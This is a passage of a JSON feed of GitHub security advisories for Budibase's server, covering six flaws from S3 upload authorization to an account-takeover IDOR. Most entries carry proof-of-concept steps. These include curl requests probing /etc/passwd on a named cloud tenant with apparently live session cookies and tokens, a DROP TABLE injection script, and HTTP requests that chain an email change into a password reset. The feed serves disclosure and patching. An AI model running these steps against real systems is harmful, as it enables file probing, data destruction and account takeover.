/api/attachments/\u003cdatasourceId\u003e/url\nContent-Type: application/json\nx-budibase-app-id: \u003cappId\u003e\n\n{\"bucket\": \"target-bucket\", \"key\": \"malicious-file.html\"}\n```\n\n3. The response contains a valid S3 PutObject presigned URL\n4. Use the presigned URL to upload arbitrary content to any writable S3 bucket in the IAM credential scope\n\n## Root Cause\n\nThe `/api/attachments/:datasourceId/url` route was changed from `authorized(BUILDER)` in v3.39.3 to `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` in v3.39.4. BASIC users have TABLE/WRITE permissions by default, so they can call this endpoint. The controller at `packages/server/src/api/controllers/static/index.ts:614-632` accepts the `bucket` parameter directly from the request body and passes it to `getSignedUrl` without validating against the datasource's configured bucket.\n\n## Evidence\n\nThe test suite at `packages/server/src/api/routes/tests/static.spec.ts:218-235` confirms this behavior. The test authenticates as a BASIC role user and successfully generates a signed upload URL, verifying HTTP 200 and a defined `res.body.signedUrl`.\n\n## Remediation\n\n1. Restore the `authorized(BUILDER)` middleware on the route\n2. Add `paramResource(\"datasourceId\")` to ensure the datasource belongs to the caller's app\n3. Pin the S3 bucket to `datasource.config.bucket` in the controller, ignoring the caller-supplied bucket value","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:17:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-xcx6-4f2g-hhgx","https://github.com/Budibase/budibase/releases/tag/3.40.0","https://github.com/advisories/GHSA-xcx6-4f2g-hhgx"],"source_kind":"github","identifiers":["GHSA-xcx6-4f2g-hhgx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-07-26T14:00:09.153Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3g2LTRmMmctaGhneM4ABfsq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Y3g2LTRmMmctaGhneM4ABfsq","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3g2LTRmMmctaGhneM4ABfsq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcHI0LTVmNDYtajljNs4ABfsp","url":"https://github.com/advisories/GHSA-ppr4-5f46-j9c6","title":" Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile","description":"## Summary\nWhen creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem.\n\n## Root Cause\n`packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths.\n\nPOC \n## Reproduction — paste each line, press Enter\n\nLine 1 (existing file — proves the file is READ):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/etc/passwd\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"} \n\n\n\nLine 2 (missing file — path is reflected):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/nonexistent/pentest/xyz\"}}}'\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}\n\n\n### Actual output\n```text\n/etc/passwd               -\u003e {\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"}          (EXISTS, was READ)\n/nonexistent/pentest/xyz  -\u003e {\"connected\":false,\"error\":\"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'\"}   (MISSING, path reflected)\n```\nExisting files return a \"PEM routines\" error (the file was read but is not PEM); missing files return `ENOENT ... open '\u003cpath\u003e'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.\n\n\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |\n| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |\n| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |\n\n## Recommended Fix\n1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.\n2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory.\n3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:16:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6","https://github.com/Budibase/budibase/pull/19244","https://github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e","https://github.com/Budibase/budibase/releases/tag/3.40.0","https://github.com/advisories/GHSA-ppr4-5f46-j9c6"],"source_kind":"github","identifiers":["GHSA-ppr4-5f46-j9c6","CVE-2026-73409"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-09-12T11:00:57.763Z","epss_percentage":0.00243,"epss_percentile":0.15427,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcHI0LTVmNDYtajljNs4ABfsp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcHI0LTVmNDYtajljNs4ABfsp","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcHI0LTVmNDYtajljNs4ABfsp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNng0LXYzcXgtODVxd84ABfso","url":"https://github.com/advisories/GHSA-q6x4-v3qx-85qw","title":" Budibase: SQL Injection via `multipleStatements: true`","description":"## Summary\nA critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.\n\n## Details\n### Vulnerability Type\nSQL Injection\n\n### Description\nThe MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.\n\n### Location\n```typescript\n// File: packages/server/src/integrations/mysql.ts\n// Line: 173\n\nthis.config = {\n  ...config,\n  typeCast: defaultTypeCasting,\n  multipleStatements: true,  // VULNERABLE\n  timezone: \"Z\",\n}\n```\n\n## Proof of Concept\n\n### Exploit\n```javascript\nconst mysql = require('mysql2');\n\n// Budibase vulnerable configuration\nconst connection = mysql.createConnection({\n  host: 'localhost',\n  user: 'root',\n  password: 'password',\n  multipleStatements: true,  // Vulnerable setting\n  timezone: \"Z\"\n});\n\n// Attack: Data destruction\nconnection.query(\n  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,\n  (err, results) =\u003e {\n    if (!err) console.log(\"Table dropped successfully\");\n  }\n);\n```\n\n## Impact\n- **Data Destruction**: Execute DROP TABLE, DELETE commands\n- **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE\n- **Privilege Escalation**: Grant database admin privileges\n- **Denial of Service**: Disrupt service operations\n- **Complete Database Compromise**: Full control over database\n\n## Remediation\n### Patch\n```diff\n--- a/packages/server/src/integrations/mysql.ts\n+++ b/packages/server/src/integrations/mysql.ts\n@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {\n     this.config = {\n       ...config,\n       typeCast: defaultTypeCasting,\n-      multipleStatements: true,\n+      multipleStatements: false,\n       timezone: \"Z\",\n     }\n   }\n```\n\n### Workarounds\n1. Temporarily disable MySQL integration\n2. Implement web application firewall (WAF)\n3. Restrict database user privileges","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-24T21:15:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-q6x4-v3qx-85qw","https://github.com/Budibase/budibase/releases/tag/3.40.0","https://nvd.nist.gov/vuln/detail/CVE-2026-73300","https://github.com/advisories/GHSA-q6x4-v3qx-85qw"],"source_kind":"github","identifiers":["GHSA-q6x4-v3qx-85qw","CVE-2026-73300"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-09-12T11:00:57.765Z","epss_percentage":0.00482,"epss_percentile":0.40016,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNng0LXYzcXgtODVxd84ABfso","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNng0LXYzcXgtODVxd84ABfso","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNng0LXYzcXgtODVxd84ABfso/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jOHZjLTdwdjMtZzk4cM4ABfsn","url":"https://github.com/advisories/GHSA-c8vc-7pv3-g98p","title":" Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)","description":"## Summary\n\n`POST /api/v2/email` on the account portal (`account.budibase.app`) starts an email-change workflow using a client-supplied `accountId` that is **not validated against the authenticated session**. A logged-in attacker supplies a victim's `accountId` and an email address they control; the verification code is delivered to the attacker's address, and completing the workflow changes the **victim's** account email. The attacker then password-resets the victim's account through the controlled address and logs in — full account takeover with no victim interaction.\n\n## Vulnerability Details\n\nThe endpoint session-checks the `currentEmail` field (a mismatch returns 403), but it does not enforce `body.accountId === session.accountId`. The account-portal frontend only ever submits the logged-in user's own accountId, so in normal use the two always match — the server simply trusts the body value. An attacker who has a victim's `accountId` can point the workflow at the victim's account while passing their own `currentEmail` to clear the session check.\n\nThis is more powerful than a direct password reset: `PUT /api/v2/auth/password {email}` already exists and is gated only on knowing the victim's email, but the reset link is sent to the address on the account — the victim's inbox, which the attacker does not control. This IDOR moves the victim's email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know.\n\n**accountId obtainability.** We checked every endpoint reachable from a non-admin free-tier account — `GET /api/global/users` (no UUID in any user record), `GET /api/global/auditlogs/search` (no accountId field), `GET /api/global/users/invites` (code + email + name only), `GET /api/v2/tenant` (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session's own accountId only), and all unauthenticated endpoints — and the victim's `accountId` was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.).\n\n## Steps to Reproduce\n\n**Setup:** Two account-portal accounts at `https://account.budibase.app` — Account A (attacker) and Account B (victim). From Account B's session, `GET /api/auth/self` returns `account.accountId` — this is the value the attacker needs.\n\n1. **Start the email-change workflow pointed at the victim's accountId, newEmail = attacker-controlled.**\n\n```http\nPOST /api/v2/email HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e\n\n{\"currentEmail\":\"\u003cACCOUNT_A_EMAIL\u003e\",\"newEmail\":\"attacker-controlled@example.net\",\"accountId\":\"\u003cVICTIM_ACCOUNT_ID\u003e\"}\n```\n\nResponse: `201 Created`, sets `budibase:change_email:correlationkey` (HttpOnly), `:instancekey`, `:status`, `:newemail` cookies. The workflow started against the victim's accountId even though the caller is Account A.\n\n2. **Complete the change with the code from the attacker-controlled inbox (or read directly from the `correlationkey` cookie set in step 1).**\n\n```http\nPOST /api/v2/email/verification HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e; budibase:change_email:correlationkey=\u003cCODE\u003e; budibase:change_email:instancekey=\u003cKEY\u003e\n\n{\"verificationCode\":\"\u003ccode\u003e\",\"processInstanceKey\":\"\u003ckey\u003e\"}\n```\n\nResponse: `200 OK`. The victim's account email is now `attacker-controlled@example.net`.\n\n3. **Confirm the change hit the victim, not the caller (false-positive control).**\n\n- Account A (caller) still logs in with its own original email — 200, unchanged.\n- Account B's (victim) original email is now rejected — 403, locked out.\n- `attacker-controlled@example.net` now logs into the victim's account — 200.\n\n4. **Take over the account.**\n\n```http\nPUT /api/v2/auth/password HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\n\n{\"email\":\"attacker-controlled@example.net\"}\n```\n\nResponse: `202 Accepted`, reset link delivered to the attacker's own inbox. Complete the reset with `PUT /api/v2/auth/password/verification`, then log in as the victim with the attacker-chosen password. `GET /api/auth/self` afterward returns the victim's real `accountId` and `tenantId` — full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test).\n\n## Impact\n\nAn authenticated account-portal user who obtains a victim's `accountId` (out-of-band — it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim's account: rewrite the login email to an attacker address, set a new password, and access the victim's tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known — no additional vulnerability or guessing is required, since the chain uses nothing but the platform's own stock password-reset flow.\n\n## Remediation\n\nValidate that the body's `accountId` equals the authenticated session's `accountId` before starting or completing the email-change workflow (the same check already applied to `currentEmail`). Do not trust a client-supplied `accountId` to select the workflow target.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:14:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/Budibase/budibase/security/advisories/GHSA-c8vc-7pv3-g98p","https://github.com/Budibase/budibase/releases/tag/3.40.0","https://github.com/advisories/GHSA-c8vc-7pv3-g98p"],"source_kind":"github","identifiers":["GHSA-c8vc-7pv3-g98p","CVE-2026-73303"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-08-14T01:00:35.479Z","epss_percentage":0.00232,"epss_percentile":0.14143,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOHZjLTdwdjMtZzk4cM4ABfsn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jOHZjLTdwdjMtZzk4cM4ABfsn","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOHZjLTdwdjMtZzk4cM4ABfsn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mY3J3LWY3Z2ctNmc5Zs4ABfsm","url":"https://github.com/advisories/GHSA-fcrw-f7gg-6g9f","title":" Budibase: SSO OAuth2 Token Leakage via User Metadata Endpoints to Power-Role Users","description":"## Summary\n\nThe `/api/users/metadata` and `/api/users/metadata/:id` endpoints in `@budibase/server` return full global user profiles to any user with POWER role or above. For SSO-authenticated users (OIDC, Google), the response includes `oauth2.accessToken` and `oauth2.refreshToken` fields, leaking identity provider credentials to other users who should not have access to them.\n\n## Details\n\nWhen a user authenticates via SSO (OIDC or Google), the OAuth2 tokens are stored in the global CouchDB user document at `packages/backend-core/src/auth/auth.ts:170-173`:\n\n```typescript\ndbUser.oauth2 = {\n  ...dbUser.oauth2,\n  ...details,\n}\nawait db.put(dbUser)\n```\n\nThe user metadata endpoints are protected by `PermissionType.USER, PermissionLevel.READ` (`packages/server/src/api/routes/user.ts:11`), which maps to the POWER permission set (`packages/backend-core/src/security/permissions.ts:99`).\n\n**Path 1 — List all users** (`GET /api/users/metadata`):\n1. `controller.fetchMetadata` → `sdk.users.fetchMetadata()` (`packages/server/src/sdk/users/utils.ts:78`)\n2. → `getGlobalUsers()` → `getRawGlobalUsers()` (`packages/server/src/utilities/global.ts:101-122`) — strips only `password` and `forceResetPassword`\n3. → `processUser()` (`packages/server/src/utilities/global.ts:15-76`) — strips only `password` and `roles`\n4. The `oauth2` field containing `accessToken` and `refreshToken` is **never removed**\n\n**Path 2 — Single user** (`GET /api/users/metadata/:id`):\n1. `controller.findMetadata` → `getFullUser()` (`packages/server/src/utilities/users.ts:6`)\n2. → `getGlobalUser()` → `getRawGlobalUser()` (`packages/server/src/utilities/global.ts:90-92`) — raw CouchDB fetch, **no field stripping at all**\n3. → `processUser()` — strips only `password` and `roles`\n4. Same result: `oauth2` tokens are returned\n\nThere is no output sanitization middleware on these routes that would strip sensitive fields before the response reaches the client.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with at least one SSO-authenticated user (OIDC or Google) and a separate user with POWER role in an app.\n\n**Step 1 — As the POWER user, list all users:**\n```bash\ncurl -s -X GET 'http://localhost:10000/api/users/metadata' \\\n  -H 'Cookie: budibase:auth=\u003cpower-user-jwt\u003e' \\\n  -H 'x-budibase-app-id: app_\u003cappid\u003e' | jq '.[].oauth2'\n```\n\n**Expected output:** `null` for all users (tokens should not be exposed)\n\n**Actual output:** For SSO users, the response includes:\n```json\n{\n  \"accessToken\": \"ya29.a0ARrdaM...\",\n  \"refreshToken\": \"1//0eXxXxXxXx...\"\n}\n```\n\n**Step 2 — Fetch a specific SSO user's profile:**\n```bash\ncurl -s -X GET 'http://localhost:10000/api/users/metadata/ro_ta_users_us_\u003csso-user-id\u003e' \\\n  -H 'Cookie: budibase:auth=\u003cpower-user-jwt\u003e' \\\n  -H 'x-budibase-app-id: app_\u003cappid\u003e' | jq '.oauth2'\n```\n\nThis also returns the full OAuth2 tokens.\n\n## Impact\n\n- A user with POWER role in any app can read **all SSO users' OAuth2 access tokens and refresh tokens** via the list endpoint, without needing to know individual user IDs.\n- Stolen access tokens can be used to access external identity provider resources (Google Workspace, Azure AD, Okta-protected services) as the victim user.\n- Refresh tokens allow indefinite token renewal, persisting access even after the original access token expires.\n- Additionally, `admin`, `builder`, `tenantId`, `ssoId`, and `userGroups` fields are leaked, revealing the full authorization topology of the instance.\n\n## Recommended Fix\n\nStrip sensitive SSO fields in `processUser()` at `packages/server/src/utilities/global.ts:15`:\n\n```typescript\nexport async function processUser(\n  user: ContextUser,\n  opts: { appId?: string; groups?: UserGroup[] } = {}\n) {\n  if (!user || (!user.roles \u0026\u0026 !user.userGroups)) {\n    return user\n  }\n  user = cloneDeep(user)\n  delete user.password\n+ delete (user as any).oauth2\n+ delete (user as any).provider\n+ delete (user as any).providerType\n+ delete (user as any).thirdPartyProfile\n+ delete (user as any).profile\n+ delete (user as any).ssoId\n+ delete (user as any).forceResetPassword\n  // ... rest of function\n```\n\nAdditionally, `getRawGlobalUsers()` at line 101 should also strip `oauth2` alongside its existing `password`/`forceResetPassword` stripping for defense in depth.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T21:14:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-fcrw-f7gg-6g9f","https://github.com/Budibase/budibase/pull/19110","https://github.com/Budibase/budibase/commit/7b8ba11a2c8b233c35e7728dd752dba25ef919a4","https://github.com/Budibase/budibase/commit/80a31f6c3354620aa90e50af8a2c614333084621","https://github.com/Budibase/budibase/releases/tag/3.39.25","https://github.com/advisories/GHSA-fcrw-f7gg-6g9f"],"source_kind":"github","identifiers":["GHSA-fcrw-f7gg-6g9f","CVE-2026-73304"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-09-12T11:00:57.767Z","epss_percentage":0.00452,"epss_percentile":0.37974,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY3J3LWY3Z2ctNmc5Zs4ABfsm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mY3J3LWY3Z2ctNmc5Zs4ABfsm","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.25","vulnerable_version_range":"\u003c 3.39.25"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY3J3LWY3Z2ctNmc5Zs4ABfsm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cWNqLW01d3Atam1mNM4ABfsl","url":"https://github.com/advisories/GHSA-4qcj-m5wp-jmf4","title":" Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings","description":"## Summary\n\nThe `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.\n\n## Steps to Reproduce\n\n### 1. Start Budibase\n\n```bash\ndocker run -d --name budibase-poc -p 10000:80 \\\n  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \\\n  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \\\n  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \\\n  -e BB_ADMIN_USER_EMAIL=admin@test.com \\\n  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \\\n  budibase/budibase:latest\n\nuntil curl -sf http://localhost:10000/health; do sleep 5; done\n```\n\n### 2. Login as admin, create a user group, create a BASIC user\n\n```bash\n# Login as admin\ncurl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin@test.com\",\"password\":\"TestPassword123!\"}'\n\n# Create a user group (requires license with user groups feature, or use Budibase Cloud)\n# On self-hosted without license, groups may not be available\n# If available:\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"Secret Admin Group\",\"color\":\"#ff0000\",\"icon\":\"AdminPanelSettingsIcon\",\"roles\":{\"app_abc123\":\"ADMIN\"}}'\n\n# Create a BASIC user (no builder, no admin)\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"basic@test.com\",\"password\":\"BasicPass123!\",\"roles\":{},\"admin\":{\"global\":false},\"builder\":{\"global\":false}}'\n```\n\n### 3. Login as BASIC user and enumerate all groups (the vulnerability)\n\n```bash\n# Login as BASIC user\ncurl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"basic@test.com\",\"password\":\"BasicPass123!\"}'\n\n# List ALL groups (should return 403, but returns 200 with full data)\ncurl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups\n```\n\n**Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`)\n\n**Actual:** 200 OK with full group data including role mappings, member lists, and builder flags.\n\n### Standalone verification (code review)\n\n```bash\n# In the budibase source tree:\ngrep -A2 'global/groups\"' packages/worker/src/api/routes/global/groups.ts\n```\n\nOutput shows the list endpoint has NO auth middleware:\n```\n  .get(\"/api/global/groups\",            # \u003c-- NO auth.builderOrAdmin\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n```\n\nCompare with the single-group endpoint directly below:\n```\n  .get(\"/api/global/groups/:groupId\",   # \u003c-- HAS auth.builderOrAdmin\n    auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.getById\n```\n\n## Root Cause\n\nFile: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44\n\nThe list endpoint is the ONLY group endpoint without RBAC:\n\n| Endpoint | Auth Middleware |\n|----------|---------------|\n| `POST /api/global/groups` | `auth.adminOnly` |\n| `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` |\n| `GET /api/global/groups/:id` | `auth.builderOrAdmin` |\n| `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` |\n| **`GET /api/global/groups`** | **NONE** |\n\n## Impact\n\nA BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.\n\n## Suggested Fix\n\n```diff\n  router.get(\"/api/global/groups\",\n+   auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n  )\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T21:13:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4","https://github.com/Budibase/budibase/pull/19109","https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a","https://github.com/Budibase/budibase/releases/tag/3.39.25","https://github.com/advisories/GHSA-4qcj-m5wp-jmf4"],"source_kind":"github","identifiers":["GHSA-4qcj-m5wp-jmf4","CVE-2026-73301"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-09-12T11:00:57.769Z","epss_percentage":0.00315,"epss_percentile":0.24185,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cWNqLW01d3Atam1mNM4ABfsl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cWNqLW01d3Atam1mNM4ABfsl","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 